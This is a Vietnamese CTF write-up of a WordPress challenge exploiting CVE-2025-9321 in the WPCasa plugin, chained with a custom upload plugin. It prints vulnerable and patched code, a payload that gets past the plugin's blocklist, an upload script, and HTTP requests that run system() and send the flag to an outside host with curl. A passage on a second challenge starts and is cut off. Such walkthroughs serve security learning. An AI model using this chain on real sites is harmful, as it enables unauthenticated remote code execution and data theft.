---
# System prepended metadata

title: KMACTF Lần 2 2025 - part 2

---

# KMACTF Lần 2 2025 - part 2

## 0x4: Web/CVE 2025-93XX

Một chall với wordpress là một cve mới release vài ngày trước khi đi thi.

Về word-press thì mình từng chơi black-box rồi nhưng mà chưa pentest white-box lần nào nên đây cũng xem như là bước`__init__`.

```
Description:
1day exploit for 1 hour?

P/s: remember activate 2 plugins
```

### 1: Set up đơn giản

Chỉ cần tải challenge xuống rồi quăng vào xampp hay laragon rồi bắt đầu set-up là được - chỉ có thêm bước là tạo thêm database để connect thôi dùng phpMyadmin add cũng được.

### 2: Enable plugin

Với cái tiêu đề như này thì lỗ hổng chắc chắn nằm trong 1 trong 2 (hoặc cả 2 plugin này)

![image](https://hackmd.io/_uploads/HJcOMiq2gl.png)

2 plugin này đã được down xuống(wpcasa) và tạo (safe-php-class-upload)

Ta chỉ cần login với user admin/password mà ta đã tạo lúc khởi tạo -> sau đó truy cập `/wp-admin/plugins.php` -> search wpcasa và safe-php.. rồi click `Activate` là được. ở đây mình không chụp lại nữa vì quên mất pass admin hôm thi set rồi ``¯\_(ツ)_/¯`` và lỗ hổng này unauth cho nên ta cũng không cần phải login gì.

### 3: CVE-2025-9321 WPCasa WordPress Plugin Code Injection Vulnerability

Khi typing vài đường là wpcasa plugin vul là ta có thể dễ dàng thấy có một lỗ hổng RCE ở đây: https://zeropath.com/blog/cve-2025-9321-wpcasa-wordpress-plugin-code-injection-summary

Và tên của chall cũng là `CVE 2025-93**` nên có vẻ đã đúng rồi.

Bug version: `WPCasa <= 1.4.1`

Checking trong plugin: 

![1](https://hackmd.io/_uploads/r1XjIo92eg.png)

Tuyệt -> bug đã tìm thấy.

```c
The root cause is insufficient input validation and restriction in the 'api_requests' function, located in includes/class-wpsight-api.php at or near line 48 (reference)
```

https://plugins.trac.wordpress.org/browser/wpcasa/trunk/includes/class-wpsight-api.php#L48

![image](https://hackmd.io/_uploads/HJ-Ywjq2xe.png)

Thông thường ta sẽ diff bảng vá là 1.4.2 và 1.4.1 để tìm ra nơi vá, tuy nhiên ở đây thì wpcasa đã để cập nó ở đây luôn: https://plugins.trac.wordpress.org/browser/wpcasa/trunk/includes/class-wpsight-api.php?rev=3371113

https://plugins.trac.wordpress.org/changeset/3365172/wpcasa/trunk/includes/class-wpsight-api.php

Chỉ tồn tại lỗ hổng trong `includes/class-wpsight-api.php` và sửa tại đây:

![image](https://hackmd.io/_uploads/HJN8dj9hgg.png)

![image](https://hackmd.io/_uploads/S1-Y_jcnxg.png)

Có thể thấy người dùng có thể control được `$_GET['wpsight-api']` thông qua query mà không cần xác thực.

Sau đó tiến hành kiểm tra xem class có tồn tại không để khởi tạo obj của class này và trigger action:

```php
// Load class if exists
    if ( class_exists( $api ) )
        $api_class = new $api();

    // Trigger actions
    do_action( 'wpsight_api_' . $api );
```

:::spoiler class-wpsight-api. 1.4.1-bug
```php
<?php
// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * WPSight_API class
 */
class WPSight_API {

	/**
	 * Constructor
	 */
	public function __construct() {
		add_filter( 'query_vars', array( $this, 'add_query_vars'), 0 );
		add_action( 'parse_request', array( $this, 'api_requests'), 0 );
	}

	/**
	 * add_query_vars()
	 *
	 * @access public
	 *
	 * @since 1.0.0
	 */
	public function add_query_vars( $vars ) {
		$vars[] = 'wpsight-api';
		return $vars;
	}

	/**
	 * add_endpoint()
	 *
	 * @access public
	 *
	 * @since 1.0.0
	 */
	public function add_endpoint() {
		add_rewrite_endpoint( 'wpsight-api', EP_ALL );
	}

	/**
	 * api_requests()
	 *
	 * @access public
	 *
	 * @since 1.0.0
	 */
	public function api_requests() {
		global $wp;

		if ( ! empty( $_GET['wpsight-api'] ) )
			$wp->query_vars['wc-api'] = sanitize_text_field( $_GET['wpsight-api'] );

		if ( ! empty( $wp->query_vars['wc-api'] ) ) {
			// Buffer, we won't want any output here
			ob_start();

			// Get API trigger
			$api = strtolower( esc_attr( $wp->query_vars['wpsight-api'] ) );

			// Load class if exists
			if ( class_exists( $api ) )
				$api_class = new $api();

			// Trigger actions
			do_action( 'wpsight_api_' . $api );

			// Done, clear buffer and exit
			ob_end_clean();
			die('1');
		}
	}
}

new WPSight_API();
```
:::

Việc control tùy ý tên class như vậy và load nó luôn có thể gây ra hậu quả nghiêm trọng đặc biệt RCE đó là ta chỉ cần khởi tạo một class chứa contruct là mã php thì ``¯\_(ツ)_/¯``

Ví dụ:

```php
<?php class A{function __construct(){system("echo pwned!!!")}};
```

Khi khởi tạo `$api_class = new $api();` thì contructor lập tức được gọi ngay để khởi tạo -> rce.

Và chú ý tại đây có `// Buffer, we won't want any output here ob_start();.......; ob_end_clean(); die('1');` thì out put của nó sẽ không được trả về. -> vì vậy mục tiêu có thể sẽ là out of band curl flag ra ngoài hoặc đọc flag rồi ghi ra web-root.

Và file chứa flag nằm ở web-root:

![image](https://hackmd.io/_uploads/S19tiochex.png)

Vậy phải làm sao để có một class như mong muốn mà nằm trong project -> bụt hiện lên và nói hãy đọc plugin còn lại.

### 4: safe-php-class-uploaded plugin

Với chức năng upload, ta có thể đưa một file của mình lên server và lúc đầu mở chall ra thì mình thấy có một thư mục như dưới thì đã nghĩ ngay đến nó:

![image](https://hackmd.io/_uploads/r1kYpi93el.png)

:::spoiler
```php
<?php
/*
Plugin Name: Safe PHP Class Upload (read-only, non-executable)
Description: A plugin to safely upload PHP class files for review, without executing them. Files are stored as .txt to prevent execution.
Version: 0.1
Author: meulody
*/

if (!defined('ABSPATH')) {
    exit;
}

class Safe_Class_Uploader
{
    const SAFE_UPLOAD_DIR = 'uploads_safe_classes';
    const MAX_FILE_SIZE = 64;

    public function __construct()
    {
        add_action('rest_api_init', function () {
            register_rest_route('safe-upload/v1', '/upload', array(
                'methods' => 'POST',
                'callback' => array($this, 'handle_upload'),
                'permission_callback' => '__return_true'
            ));
        });
    }

    private function ensure_dir()
    {
        $dir = self::SAFE_UPLOAD_DIR;
        if (!is_dir($dir)) {
            if (!@mkdir($dir, 0750, true)) {
                return new WP_Error('dir_error', 'Could not create safe storage directory on server.', array('status' => 500));
            }
        }
        return true;
    }

    private function has_dangerous_tokens($content)
    {
        $dangerous = array(
            'exit(',
            'die(',
            'file(',
            'echo(',
            'print(',
            'printf(',
            'print_r(',
            'var_dump(',
            'var_export(',
            'debug_zval_dump(',
            'encode(',
            'decode(',
            'exec(',
            'system(',
            'shell_exec(',
            'passthru(',
            'proc_open(',
            'eval(',
            'assert(',
            '`',
            'contents(',
            'open(',
            'bin2hex(',
            'serialize(',
            'htmlspecialchars(',
            'htmlentities(',
            'unlink(',
            'rename(',
            'goto ',
            'new ',
            'copy ('
        );
        $hay = strtolower($content);
        foreach ($dangerous as $tok) {
            if (strpos($hay, $tok) !== false)
                return $tok;
        }
        return false;
    }

    public function handle_upload(\WP_REST_Request $request)
    {
        $ok = $this->ensure_dir();
        if (is_wp_error($ok))
            return $ok;

        $files = $request->get_file_params();
        if (empty($files['file'])) {
            return new WP_Error('no_file', 'Could not find upload file (field name = file).', array('status' => 400));
        }
        $file = $files['file'];

        if ($file['size'] > self::MAX_FILE_SIZE) {
            return new WP_Error('too_big', 'File is too large.', array('status' => 400));
        }

        $content = file_get_contents($file['tmp_name']);
        if ($content === false) {
            return new WP_Error('read_error', 'Could not read temporary file.', array('status' => 500));
        }

        if (!preg_match('/class\s+[A-Za-z0-9_]+/i', $content)) {
            return new WP_Error('no_class', 'File does not contain a valid class declaration.', array('status' => 400));
        }

        $bad = $this->has_dangerous_tokens($content);
        if ($bad !== false) {
            return new WP_Error('dangerous_code', 'File contains dangerous token: ' . $bad, array('status' => 400));
        }

        $filename = pathinfo($file['name'], PATHINFO_FILENAME) . '.txt';
        $fullpath = rtrim(self::SAFE_UPLOAD_DIR, '/') . '/' . $filename;

        if (file_put_contents($fullpath, $content) === false) {
            return new WP_Error('write_err', 'Could not save the safe file.', array('status' => 500));
        }

        @chmod($fullpath, 0644);

        return rest_ensure_response(array(
            'status' => 'ok',
            'message' => 'Upload successful.',
        ));
    }
}

new Safe_Class_Uploader();
```
:::

Nó được đăng kí với endpoint là `safe-upload/v1/upload`:

```php
register_rest_route('safe-upload/v1', '/upload', array(
                'methods' => 'POST',
                'callback' => array($this, 'handle_upload'),
                'permission_callback' => '__return_true'
            ));
```

`permission_callback = __return_true` nên không cần auth

Với callback xử lý là `handle_upload`:

Ban đầu thì nó sẽ tạo thư mục `const SAFE_UPLOAD_DIR = 'uploads_safe_classes';` để chứa file như ta đã nói ở trên nếu chưa có với quyền `0750`:

```c
Owner: 4 3 1.

Group: 4 1.

Others: 000.
```

Và file .htaccess:

```c
<FilesMatch "\.(php|php3|php4|php5|php7|php8|phtml|phps|txt)$">
  Order allow,deny
  Deny from all
</FilesMatch>
```

Chặn truy cập trực tiếp từ người dùng đến các file có extension như trên.

```php
public function handle_upload(\WP_REST_Request $request)
    {
        $ok = $this->ensure_dir();
        if (is_wp_error($ok))
            return $ok;

        $files = $request->get_file_params();
        if (empty($files['file'])) {
            return new WP_Error('no_file', 'Could not find upload file (field name = file).', array('status' => 400));
        }
        $file = $files['file'];

        if ($file['size'] > self::MAX_FILE_SIZE) {
            return new WP_Error('too_big', 'File is too large.', array('status' => 400));
        }

        $content = file_get_contents($file['tmp_name']);
        if ($content === false) {
            return new WP_Error('read_error', 'Could not read temporary file.', array('status' => 500));
        }

        if (!preg_match('/class\s+[A-Za-z0-9_]+/i', $content)) {
            return new WP_Error('no_class', 'File does not contain a valid class declaration.', array('status' => 400));
        }

        $bad = $this->has_dangerous_tokens($content);
        if ($bad !== false) {
            return new WP_Error('dangerous_code', 'File contains dangerous token: ' . $bad, array('status' => 400));
        }

        $filename = pathinfo($file['name'], PATHINFO_FILENAME) . '.txt';
        $fullpath = rtrim(self::SAFE_UPLOAD_DIR, '/') . '/' . $filename;

        if (file_put_contents($fullpath, $content) === false) {
            return new WP_Error('write_err', 'Could not save the safe file.', array('status' => 500));
        }

        @chmod($fullpath, 0644);

        return rest_ensure_response(array(
            'status' => 'ok',
            'message' => 'Upload successful.',
        ));
    }
```

Chức năng cho phép người dùng upload một file không lớn hơn `64` bytes.

Tiếp sau đó lấy ra content file rồi match `/class\s+[A-Za-z0-9_]+/i` xem nó có phải class hợp lệ hay không và tên nó chỉ có thể chứa chữ và số và `_`.

Đến đây là phần có vẻ là hóc nhất của thử thách là việc black-list các kí tự trong file:

```php
$bad = $this->has_dangerous_tokens($content);
```

```php
$dangerous = array(
            'exit(',
            'die(',
            'file(',
            'echo(',
            'print(',
            'printf(',
            'print_r(',
            'var_dump(',
            'var_export(',
            'debug_zval_dump(',
            'encode(',
            'decode(',
            'exec(',
            'system(',
            'shell_exec(',
            'passthru(',
            'proc_open(',
            'eval(',
            'assert(',
            '`',
            'contents(',
            'open(',
            'bin2hex(',
            'serialize(',
            'htmlspecialchars(',
            'htmlentities(',
            'unlink(',
            'rename(',
            'goto ',
            'new ',
            'copy ('
        );
```

match lowercase cũng khá nhiều hàm.

Lúc này để đọc được file flag.php thì mình nghĩ ra đó là dùng `include` đầu tiên tuy nhiên việc không hiển thị output của đoạn mã này cũng khó khăn, tiếp sau đó là mình nghĩ ngay đến payload mà chắc ai chơi ctf mà tìm hiểu về lfi cũng gặp bug `lfi via phpinfo` -> nó có dùng payload rất ngắn và được truyền 100% từ query
`<?php class M{function __construct(){$_GET[8]($_GET[5]);}};`

Nói chung thì việc bypass black-list này cũng không tốn nhiều thời gian lắm.

Qua bước này thì file sẽ được ném cho đuôi `.txt` và cấp quyền `0644`

Thật sự thì lúc thi thì mình cũng khá hoang mang về việc là `Liệu class đuôi .txt có load được hay không???`

Sự tò mò thôi thúc mình upload thử payload kia lên sau đó dùng wpcase để khởi tạo nó -> và tự nhiên lại được ``¯\_(ツ)_/¯`` - "đúng là hên".

### 5: Exploit and deep

```
http://localhost/wordpress-6.8.2/wordpress-6.8.2/wp-json/safe-upload/v1/upload
```

Sau khi đăng ký plugin này thì ra có để upload file với endpoint ở trên.

Đối với wpcasa để gọi chỉ cần truyền query param là được: `wpsight-api=M`

Upload file:

```python
import requests

prxy = {"http": "http://localhost:8080", "https": "http://localhost:8080"}

wp_url = "http://localhost/wordpress-6.8.2/wordpress-6.8.2/wp-json/safe-upload/v1/upload"

files = {
    'file': ('A.php', open('A.php', 'rb'), 'text/plain')
}

# Nếu plugin yêu cầu login/capability, bạn cần gửi cookie hoặc token.
# Trong plugin hiện tại permission_callback = __return_true nên không cần auth
response = requests.post(wp_url, files=files, proxies=prxy)

print("Status code:", response.status_code)
print("Response JSON:", response.json())
```

![1](https://hackmd.io/_uploads/SkEnmyo2lx.png)

![image](https://hackmd.io/_uploads/HJlR7yo2el.png)

Lúc này file đã được upload thành công:

![image](https://hackmd.io/_uploads/BJ_yNkihex.png)

Load class với query `wpsight-api`:

![image](https://hackmd.io/_uploads/HkDP4Jjnel.png)

![image](https://hackmd.io/_uploads/ryv_VJshxg.png)

-> rce

Bây giờ câu hỏi lớn nhất của nhiều người sẽ là tại sao file này lại được load vào và nó được load như thế nào???

### 6: Local debug with Xdebug

![2](https://hackmd.io/_uploads/ByUsglonxe.png)

Tại đây ta có thể thấy biến $api vẫn là `m` -> ta sẽ check cách hoạt động của `class_exists` để biết sao nó vẫn load vào:

Đây là hàm trong `Core.php`

```php
function class_exists(string $class, bool $autoload = true): bool {}
```

```php
$class_name

Tên class muốn kiểm tra.

$autoload (default = true)

Nếu true, PHP sẽ tự động gọi autoloader (nếu có) để load class nếu class chưa được định nghĩa.

Nếu false, chỉ kiểm tra class đã tồn tại trong runtime, không gọi autoload.
```

https://www.php.net/manual/en/function.class-exists.php

Cơ chế:

```c
class_exists('MyClass')
        │
        ▼
 Kiểm tra class table
        │
   ┌────┴─────┐
   │          │
   ▼          ▼
Đã tồn tại?  Chưa tồn tại
   │           │
  true       $autoload?
               │
          ┌────┴─────┐
          │          │
         true       false
          │          │
   Gọi autoloaders   false
          │
   Autoloader include file
          │
   Kiểm tra class table
          │
   ┌──────┴───────┐
   │              │
  true           false
```

- Autoloader không phụ thuộc vào đuôi file do đó đuôi gì cũng được chỉ cần cú pháp php class đúng vì nó thực hiện include file.

Deep watching: https://github.dev/php/php-src/tree/PHP-7.4.33/Zend

Nó được định nghĩa tại đây:

![image](https://hackmd.io/_uploads/HJlBhlohge.png)

```c
/* {{{ */

/* {{{ proto bool class_exists(string classname [, bool autoload])
   Checks if the class exists */
ZEND_FUNCTION(class_exists)
{
	class_exists_impl(INTERNAL_FUNCTION_PARAM_PASSTHRU, ZEND_ACC_LINKED, ZEND_ACC_INTERFACE | ZEND_ACC_TRAIT);
}
/* }}} */
```

`ZEND_FUNCTION(class_exists)`: macro định nghĩa một hàm PHP trong C

`class_exists_impl` là hàm thực thi logic chính của `class_exists`:

- `INTERNAL_FUNCTION_PARAM_PASSTHRU`: context của PHP runtime
- `ZEND_ACC_LINKED`: flag nội bộ của Zend Engine
- `ZEND_ACC_INTERFACE | ZEND_ACC_TRAIT`: cho phép kiểm tra class, interface, trait

```c
class_exists_impl(INTERNAL_FUNCTION_PARAM_PASSTHRU, ZEND_ACC_LINKED|ZEND_ACC_INTERFACE, 0);
```

```c
static inline void class_exists_impl(INTERNAL_FUNCTION_PARAMETERS, int flags, int skip_flags) /* {{{ */
{
	zend_string *name; // tên class được truyền vào
	zend_string *lcname; // tên lowercase của class
	zend_class_entry *ce; // Pointer tới entry trong class table
	zend_bool autoload = 1; // auto load mặc định là true

	ZEND_PARSE_PARAMETERS_START(1, 2)
		Z_PARAM_STR(name) // bắt buộc
		Z_PARAM_OPTIONAL
		Z_PARAM_BOOL(autoload) // nếu không có default là true
	ZEND_PARSE_PARAMETERS_END(); // những cái này có vẻ giống như interface định nghĩa ở Core.php

	if (!autoload) { // autoloader=false, chỉ kiểm tra class table (EG(class_table)) → bảng hash lưu tất cả class đã load -> lookup với tên class viết thường.
		if (ZSTR_VAL(name)[0] == '\\') {
			/* Ignore leading "\" */
			lcname = zend_string_alloc(ZSTR_LEN(name) - 1, 0);
			zend_str_tolower_copy(ZSTR_VAL(lcname), ZSTR_VAL(name) + 1, ZSTR_LEN(name) - 1);
		} else {
			lcname = zend_string_tolower(name);
		}

		ce = zend_hash_find_ptr(EG(class_table), lcname);
		zend_string_release_ex(lcname, 0);
	} else {
		ce = zend_lookup_class(name); // autoload = true -> gọi zend_lookup_class với tên class
	}

 	if (ce) {
		RETURN_BOOL(((ce->ce_flags & flags) == flags) && !(ce->ce_flags & skip_flags));
	} else {
		RETURN_FALSE;
	}
}
```

Là một ZEND-API. được định nghĩa trong `/Zend/zend_execute_API.c`

```c
Line 1022 in zend_execute_API.c:

ZEND_API zend_class_entry *zend_lookup_class(zend_string *name) /* {{{ */
{
	return zend_lookup_class_ex(name, NULL, 0);
}
/* }}} */
```

Tương tự thì nó gọi đến: `zend_lookup_class_ex`

```c
Line 894 in zend_execute_API.c

ZEND_API zend_class_entry *zend_lookup_class_ex(zend_string *name, zend_string *key, uint32_t flags) /* {{{ */
{
	zend_class_entry *ce = NULL;
	zval args[1], *zv;
	zval local_retval;
	zend_string *lc_name;
	zend_fcall_info fcall_info;
	zend_fcall_info_cache fcall_cache;
	zend_class_entry *orig_fake_scope;

	if (key) {
		lc_name = key;
	} else {
		if (name == NULL || !ZSTR_LEN(name)) {
			return NULL;
		}

		if (ZSTR_VAL(name)[0] == '\\') {
			lc_name = zend_string_alloc(ZSTR_LEN(name) - 1, 0);
			zend_str_tolower_copy(ZSTR_VAL(lc_name), ZSTR_VAL(name) + 1, ZSTR_LEN(name) - 1);
		} else {
			lc_name = zend_string_tolower(name);
		}
	}

	zv = zend_hash_find(EG(class_table), lc_name);
	if (zv) {
		if (!key) {
			zend_string_release_ex(lc_name, 0);
		}
		ce = (zend_class_entry*)Z_PTR_P(zv);
		if (UNEXPECTED(!(ce->ce_flags & ZEND_ACC_LINKED))) {
			if ((flags & ZEND_FETCH_CLASS_ALLOW_UNLINKED) ||
				((flags & ZEND_FETCH_CLASS_ALLOW_NEARLY_LINKED) &&
					(ce->ce_flags & ZEND_ACC_NEARLY_LINKED))) {
				ce->ce_flags |= ZEND_ACC_HAS_UNLINKED_USES;
				return ce;
			}
			return NULL;
		}
		return ce;
	}

	/* The compiler is not-reentrant. Make sure we __autoload() only during run-time
	 * (doesn't impact functionality of __autoload()
	*/
	if ((flags & ZEND_FETCH_CLASS_NO_AUTOLOAD) || zend_is_compiling()) {
		if (!key) {
			zend_string_release_ex(lc_name, 0);
		}
		return NULL;
	}

	if (!EG(autoload_func)) {
		zend_function *func = zend_fetch_function(ZSTR_KNOWN(ZEND_STR_MAGIC_AUTOLOAD));

		if (func) {
			EG(autoload_func) = func;
		} else {
			if (!key) {
				zend_string_release_ex(lc_name, 0);
			}
			return NULL;
		}

	}

	/* Verify class name before passing it to __autoload() */
	if (!key && strspn(ZSTR_VAL(name), "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\") != ZSTR_LEN(name)) {
		zend_string_release_ex(lc_name, 0);
		return NULL;
	}

	if (EG(in_autoload) == NULL) {
		ALLOC_HASHTABLE(EG(in_autoload));
		zend_hash_init(EG(in_autoload), 8, NULL, NULL, 0);
	}

	if (zend_hash_add_empty_element(EG(in_autoload), lc_name) == NULL) {
		if (!key) {
			zend_string_release_ex(lc_name, 0);
		}
		return NULL;
	}

	ZVAL_UNDEF(&local_retval);

	if (ZSTR_VAL(name)[0] == '\\') {
		ZVAL_STRINGL(&args[0], ZSTR_VAL(name) + 1, ZSTR_LEN(name) - 1);
	} else {
		ZVAL_STR_COPY(&args[0], name);
	}

	fcall_info.size = sizeof(fcall_info);
	ZVAL_STR_COPY(&fcall_info.function_name, EG(autoload_func)->common.function_name);
	fcall_info.retval = &local_retval;
	fcall_info.param_count = 1;
	fcall_info.params = args;
	fcall_info.object = NULL;
	fcall_info.no_separation = 1;

	fcall_cache.function_handler = EG(autoload_func);
	fcall_cache.called_scope = NULL;
	fcall_cache.object = NULL;

	orig_fake_scope = EG(fake_scope);
	EG(fake_scope) = NULL;
	zend_exception_save();
	if ((zend_call_function(&fcall_info, &fcall_cache) == SUCCESS) && !EG(exception)) {
		ce = zend_hash_find_ptr(EG(class_table), lc_name);
	}
	zend_exception_restore();
	EG(fake_scope) = orig_fake_scope;

	zval_ptr_dtor(&args[0]);
	zval_ptr_dtor_str(&fcall_info.function_name);

	zend_hash_del(EG(in_autoload), lc_name);

	zval_ptr_dtor(&local_retval);

	if (!key) {
		zend_string_release_ex(lc_name, 0);
	}
	return ce;
}
```

![image](https://hackmd.io/_uploads/SJsdRxshee.png)

Đây sẽ là đoạn check autoload:

- EG(autoload_func) là Execution Globals lưu trữ hàm autoload hiện tại.
- Kiểm tra xem đã có hàm autoload được lưu chưa. Nếu chưa → cần fetch -> thử lấy hàm autoload bằng tên magic (__autoload) hoặc các autoloader đã đăng ký.

:::info
https://www.php.net/manual/en/language.oop5.autoload.php

Trước PHP 8.0, ZEND_STR_MAGIC_AUTOLOAD trỏ tới hàm legacy __autoload().

Từ PHP 8.0 trở đi, __autoload() bị loại bỏ, nhưng hằng vẫn tồn tại để Zend Engine gọi các autoloader đã đăng ký bằng spl_autoload_register().

zend_function *func trỏ tới hàm autoload nếu tồn tại.
:::

Và ở đây mình dùng `PHP-7.4.33` nên nó là __autoload.

:::success

`ZSTR_VAL(name)[0] == '\\'`: Loại bỏ dấu \ ở đầu nếu có.
Chuẩn bị tên class làm argument.

Thiết lập zend_fcall_info và cache để gọi autoloader.

Gọi autoloader bằng zend_call_function().

Kiểm tra xem class đã được load chưa.

Dọn dẹp, loại bỏ tracking vòng lặp, trả về zend_class_entry* hoặc NULL.
:::

-> Lúc này zend_class_entry* được trả về là con trỏ trỏ đến địa chỉ của class.

-> Class load thành công.

---

`$api_class = new $api();` lúc này khởi tạo để gọi contructor:

![image](https://hackmd.io/_uploads/HyEcMWs2lg.png)

Lúc này contruct được gọi -> rce.

![image](https://hackmd.io/_uploads/rybpf-s3xg.png)


-> ở bản vá thì chỉ cho load/khởi tạo những api mà nằm trong allow list:

:::spoiler WPCasa 1.4.2 patch
```php
<?php
2	/**
3	 * Secure WPSight API Handler.
4	 *
5	 * Hardened version of the original WPSight_API class.
6	 *
7	 * @package WPCasa
8	 * @since 1.0.0
9	 * @updated 1.4.2
10	 */
11	
12	// Exit if accessed directly
13	if ( ! defined( 'ABSPATH' ) ) exit;
14	
15	class WPSight_API {
16	
17	        /**
18	         * Constructor.
19	         */
20	        public function __construct() {
21	                // Ensure query var is registered early.
22	                add_filter( 'query_vars', array( $this, 'add_query_vars' ), 0 );
23	
24	                // Register API request handler.
25	                add_action( 'parse_request', array( $this, 'api_requests' ), 0 );
26	        }
27	
28	        /**
29	         * Register custom query vars.
30	         *
31	         * @param array $vars List of public query vars.
32	         * @return array
33	         */
34	        public function add_query_vars( $vars ) {
35	                $vars[] = 'wpsight-api';
36	                return $vars;
37	        }
38	
39	        /**
40	         * Securely handle API requests.
41	         *
42	         * @return void
43	         */
44	        public function api_requests() {
45	                global $wp;
46	
47	                // 1) Preferred getter.
48	                $raw = get_query_var( 'wpsight-api' );
49	
50	                // 2) Fallback: directly from $wp->query_vars.
51	                if ( empty( $raw ) && isset( $wp->query_vars['wpsight-api'] ) ) {
52	                        $raw = $wp->query_vars['wpsight-api'];
53	                }
54	
55	                // 3) Last resort: direct $_GET.
56	                if ( empty( $raw ) && ! empty( $_GET['wpsight-api'] ) ) {
57	                        $raw = sanitize_text_field( wp_unslash( $_GET['wpsight-api'] ) );
58	                }
59	
60	                // No request found → exit early.
61	                if ( empty( $raw ) ) {
62	                        return;
63	                }
64	
65	                // Sanitize to a valid key.
66	                $api = sanitize_key( $raw );
67	
68	                if ( empty( $api ) ) {
69	                        return;
70	                }
71	
72	                /**
73	                 * Build allow-list of allowed API endpoints.
74	                 *
75	                 * IMPORTANT: Replace or extend this list in your theme or plugin
76	                 * using the 'wpsight_api_allowed_endpoints' filter.
77	                 *
78	                 * Example:
79	                 *
80	                 * add_filter( 'wpsight_api_allowed_endpoints', function( $allowed ) {
81	                 *     $allowed['ping'] = array( 'class' => null );
82	                 *     return $allowed;
83	                 * } );
84	                 */
85	                $allowed = apply_filters(
86	                        'wpsight_api_allowed_endpoints',
87	                        array()
88	                );
89	
90	                // If API is not allowed, block access.
91	                if ( ! isset( $allowed[ $api ] ) ) {
92	                        wp_die(
93	                                sprintf(
94	                                /* translators: %s: API endpoint slug */
95	                                        esc_html__( 'Endpoint "%s" not allowed.', 'wpcasa' ),
96	                                        $api
97	                                ),
98	                                esc_html__( 'Forbidden', 'wpcasa' ),
99	                                array( 'response' => 403 )
100	                        );
101	                }
102	
103	                // Start output buffering.
104	                ob_start();
105	
106	                // Optional: safe class instantiation if explicitly allowed.
107	                if ( ! empty( $allowed[ $api ]['class'] ) && class_exists( $allowed[ $api ]['class'] ) ) {
108	                        new $allowed[ $api ]['class']();
109	                }
110	
111	                /**
112	                 * Trigger API action hook.
113	                 *
114	                 * Example usage:
115	                 * add_action( 'wpsight_api_ping', function() {
116	                 *     echo 'pong';
117	                 * } );
118	                 */
119	                do_action( 'wpsight_api_' . $api );
120	
121	                // In development mode, allow buffer output for easier testing.
122	                if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
123	                        ob_end_flush();
124	                } else {
125	                        ob_end_clean();
126	                }
127	
128	                // Maintain old behaviour for backward compatibility.
129	                die( '1' );
130	        }
131	}
132	
133	// Instantiate the class.
134	new WPSight_API();
```
:::

### 7: New rest route plugin endpoint

Có một vấn đề bất cập trong lúc mình đã giải ra được bài này tuy nhiên endpoint của safe-upload khi dùng `/wp-json/safe-upload/v1/upload` lại not found -> đây là bài giải thích nó.

https://stackoverflow.com/questions/76573322/what-is-the-difference-between-rest-route-and-wp-json-in-wordpress-rest-api

https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/#routes-vs-endpoints

Giải pháp là dùng `?rest_route` thay cho `/wp-json`

![image](https://hackmd.io/_uploads/BkviVZingl.png)

### 8: Finally

```c
POST /?rest_route=/safe-upload/v1/upload HTTP/2
Host: wordpress.wargame.vn
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Length: 224
Content-Type: multipart/form-data; boundary=3c085e8774ea41ef835071c0a6f03a39

--3c085e8774ea41ef835071c0a6f03a39
Content-Disposition: form-data; name="file"; filename="M.php"
Content-Type: text/plain

<?php class M{function __construct(){$_GET[8]($_GET[5]);}};
--3c085e8774ea41ef835071c0a6f03a39--
```

![image](https://hackmd.io/_uploads/HynXHZshll.png)


```c
GET /?rest_route=/safe-upload/v1/upload&wpsight-api=M&8=system&5=<@urlencode_all>cat /var/www/html/flag.php | curl -d @- 0dih9m5f.requestrepo.com</@urlencode_all> HTTP/2
Host: wordpress.wargame.vn
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*

```

-> Solved

## 0x5: Web/Data Lost Prevention

Một chall với php, mysql với mã nguồn php khá là dễ hiểu.

Cấu trúc dự án như sau:

![image](https://hackmd.io/_uploads/HydBF1nhxx.png)

Ta thấy ban đầu file `chmod +x ./init-flag.sh && ./init-flag.sh` được chạy.

![image](https://hackmd.io/_uploads/SysDY123xe.png)

File này sẽ run php ở file `init_flag.php` trong web-root và mã nguồn như sau:

```php
<?php
declare(strict_types=1);
require __DIR__ . '/lib/db.php';

function uuidv4(): string {
    $data = random_bytes(16);
    $data[6] = chr((ord($data[6]) & 0x0f) | 0x40);
    $data[8] = chr((ord($data[8]) & 0x3f) | 0x80);
    $hex = bin2hex($data);
    return sprintf('%s-%s-%s-%s-%s',
        substr($hex,0,8), substr($hex,8,4), substr($hex,12,4), substr($hex,16,4), substr($hex,20,12));
}


$chk = $pdo->query("SELECT COUNT(*) AS c FROM attachments WHERE is_lost=1");
$has = $chk ? (int)$chk->fetch()['c'] : 0;
if ($has > 0) {
    exit(0);
}

$uuid = uuidv4();
$dir  = '/var/data/flags';
@mkdir($dir, 0755, true);
$flagPath = $dir . '/flag-' . $uuid . '.txt';
$flagVal  = "KMACTF{hehe}\n";
file_put_contents($flagPath, $flagVal);


$stmt = $pdo->prepare("INSERT INTO attachments(case_id, filename, storage_path, is_lost) VALUES (1, ?, ?, 1)");
$stmt->execute(['Q2-incident-raw.csv', $flagPath]);

exit(0);
```

ở đây ta có thể thấy là chương trình sẽ kiểm tra trong `attachments` có bản ghi nào hay chưa và nếu có rồi thì không chạy nữa nếu chưa thì gen uuid từ hàm định nghĩa -> tạo thư mục `/var/data/flags` cấp quyền `0755` -> sau đó tạo flag path là `/var/data/flags/flag-{uuidv4}.txt` rồi ghi flag vào file này.

